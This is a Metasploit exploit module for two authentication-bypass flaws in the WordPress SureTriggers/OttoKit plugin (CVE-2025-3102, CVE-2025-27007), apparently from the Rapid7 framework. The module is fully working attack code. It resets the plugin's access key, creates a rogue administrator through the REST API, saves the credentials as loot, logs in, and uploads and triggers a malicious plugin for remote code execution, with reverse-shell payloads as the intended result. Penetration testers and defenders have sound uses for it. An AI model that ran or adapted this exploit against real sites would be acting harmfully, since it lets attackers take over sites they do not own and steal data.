WordPress SureTriggers (aka OttoKit) Combined Auth Bypass (CVE-2025-3102, CVE-2025-27007)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Auxiliary::Report
  include Msf::Module::HasActions
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress SureTriggers (aka OttoKit) Combined Auth Bypass (CVE-2025-3102, CVE-2025-27007)',
        'Description' => %q{
          Exploits two distinct authorization bypasses in SureTriggers/OttoKit plugin:
          - CVE-2025-3102: admin creation via St-Authorization Bearer (empty)
          - CVE-2025-27007: reset access key via connection endpoint & admin creation with Bearer header
        },
        'Author' => [
          'Michael Mazzolini (mikemyers)',  # Vulnerability discovery (CVE-2025-3102)
          'Denver Jackson',                 # Vulnerability discovery (CVE-2025-27007)
          'Khaled Alenazi (Nxploited)',     # PoC (CVE-2025-3102)
          'Valentin Lobstein',              # Metasploit module
        ],
        'References' => [
          ['CVE', '2025-3102'],
          ['CVE', '2025-27007'],
          ['EDB', '52286'],
          ['URL', 'https://github.com/Nxploited/CVE-2025-3102'],
          ['URL', 'https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/'],
          ['URL', 'https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched?_s_id=cve'],
          ['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-27007']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix In-Memory',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows In-Memory',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-03-13',
        'Actions' => [
          ['CVE-2025-3102', { 'Description' => 'SureTriggers <= 1.0.78 auth bypass & RCE' }],
          ['CVE-2025-27007', { 'Description' => 'SureTriggers <= 1.0.82 auth bypass, reset & RCE' }]
        ],
        'DefaultAction' => 'CVE-2025-27007',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('WP_USER', [ true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8) ]),
        OptString.new('WP_PASS', [ true, 'Password for the new administrator', Faker::Internet.password(min_length: 12) ]),
        OptString.new('WP_EMAIL', [ true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8)) ]),
        OptString.new('ST_AUTH', [ false, 'Value for st_authorization header', Rex::Text.rand_text_alphanumeric(16)])
      ]
    )
  end

  def check
    return CheckCode::Unknown('Target not responding') unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("Detected WordPress version: #{wp_version}") if wp_version

    plugin = 'suretriggers'
    max_versions = {
      'cve-2025-3102' => '1.0.78',
      'cve-2025-27007' => '1.0.82'
    }
    max_vuln = max_versions[action.name.downcase]

    detected = check_plugin_version_from_readme(plugin)&.details&.dig(:version)
    return CheckCode::Unknown("Unable to determine #{plugin} version") unless detected

    @plugin_version = detected

    ver = Rex::Version.new(detected)
    if ver <= Rex::Version.new(max_vuln)
      CheckCode::Appears("Detected #{plugin} #{ver} vulnerable to #{action.name}")
    else
      CheckCode::Safe("Detected #{plugin} #{ver} appears patched")
    end
  end

  def exploit
    token = ''
    if action.name.downcase == 'cve-2025-27007'
      reset_access_key
      token = datastore['ST_AUTH']
    end

    headers = { 'St-Authorization' => "Bearer #{token}" }
    res = create_admin_request(headers)
    unless res&.code == 200 && res.get_json_document&.dig('success')
      fail_with(Failure::UnexpectedReply, "#{action.name}: user creation failed")
    end

    finalize_admin
    cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
    upload_and_execute_payload(cookie)
  end

  # Sends a JSON POST to wp-json/<segments>, then retries via rest_route without wp-json
  def send_json_with_fallback(segments, payload, headers)
    # Primary path
    uri = normalize_uri(target_uri.path, 'wp-json', *segments)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'ctype' => 'application/json',
      'data' => payload,
      'headers' => headers
    )
    # Fallback
    unless res&.code == 200 && res.get_json_document&.dig('success')
      vprint_warning('Primary endpoint failed, trying fallback via rest_route...')
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path),
        'vars_get' => { 'rest_route' => "/#{segments.join('/')}" },
        'ctype' => 'application/json',
        'data' => payload,
        'headers' => headers
      )
    end
    res
  end

  def create_admin_request(headers)
    send_json_with_fallback(
      ['sure-triggers', 'v1', 'automation', 'action'],
      user_payload.to_json,
      headers
    )
  end

  def user_agent_header
    return 'SureTriggers' unless @plugin_version

    @plugin_version < Rex::Version.new('1.0.81') ? 'SureTriggers' : 'OttoKit'
  end

  def reset_access_key
    print_status('Resetting access key')
    body = {
      'sure-triggers-access-key' => datastore['ST_AUTH'],
      'wp-password' => datastore['WP_PASS'],
      'connection_status' => 'ok',
      'wp-username' => datastore['WP_USER'],
      'connected_email' => datastore['WP_EMAIL']
    }.to_json

    res = send_json_with_fallback(
      ['sure-triggers', 'v1', 'connection', 'create-wp-connection'],
      body,
      { 'User-Agent' => user_agent_header }
    )

    fail_with(Failure::UnexpectedReply, 'Key reset failed') unless res&.code == 200 && res.get_json_document&.dig('success')
    print_good('Access key reset successful')
  end

  def user_payload
    {
      'integration' => 'WordPress',
      'type_event' => 'create_user_if_not_exists',
      'selected_options' => {
        'user_name' => datastore['WP_USER'],
        'password' => datastore['WP_PASS'],
        'user_email' => datastore['WP_EMAIL'],
        'role' => 'administrator'
      },
      'fields' => [],
      'context' => {}
    }
  end

  def finalize_admin
    print_good("Admin created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")

    create_credential(
      workspace_id: myworkspace_id,
      origin_type: :service,
      module_fullname: fullname,
      username: datastore['WP_USER'],
      private_type: :password,
      private_data: datastore['WP_PASS'],
      service_name: 'WordPress',
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      protocol: 'tcp',
      status: Metasploit::Model::Login::Status::UNTRIED
    )
    vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.")

    report_host(host: datastore['RHOST'])

    service = report_service(
      host: datastore['RHOST'],
      port: datastore['RPORT'],
      proto: 'tcp',
      name: fullname,
      info: 'WordPress with vulnerable SureTriggers plugin allowing unauthenticated admin creation'
    )

    loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n"
    loot_path = store_loot(
      'wordpress.admin.created',
      'text/plain',
      datastore['RHOST'],
      loot_data,
      'wp_admin_credentials.txt',
      'WordPress Created Admin Credentials',
      service
    )
    vprint_good("Loot saved to: #{loot_path}")

    report_vuln(
      host: datastore['RHOST'],
      port: datastore['RPORT'],
      proto: 'tcp',
      service: service,
      name: "SureTriggers Auth Bypass (#{action.name})",
      refs: references,
      info: 'Unauthenticated admin creation via SureTriggers plugin'
    )
  end

  def upload_and_execute_payload(auth_cookie)
    plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php"
    zip = generate_plugin(plugin, payload_name.sub('.php', ''))

    print_status('Uploading malicious plugin for code execution...')
    ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie)
    fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok

    payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name)
    print_status("Executing payload at #{payload_uri}...")
    register_files_for_cleanup(payload_name, "#{plugin}.php")
    register_dir_for_cleanup("../#{plugin}")
    send_request_cgi('uri' => payload_uri, 'method' => 'GET')
  end
end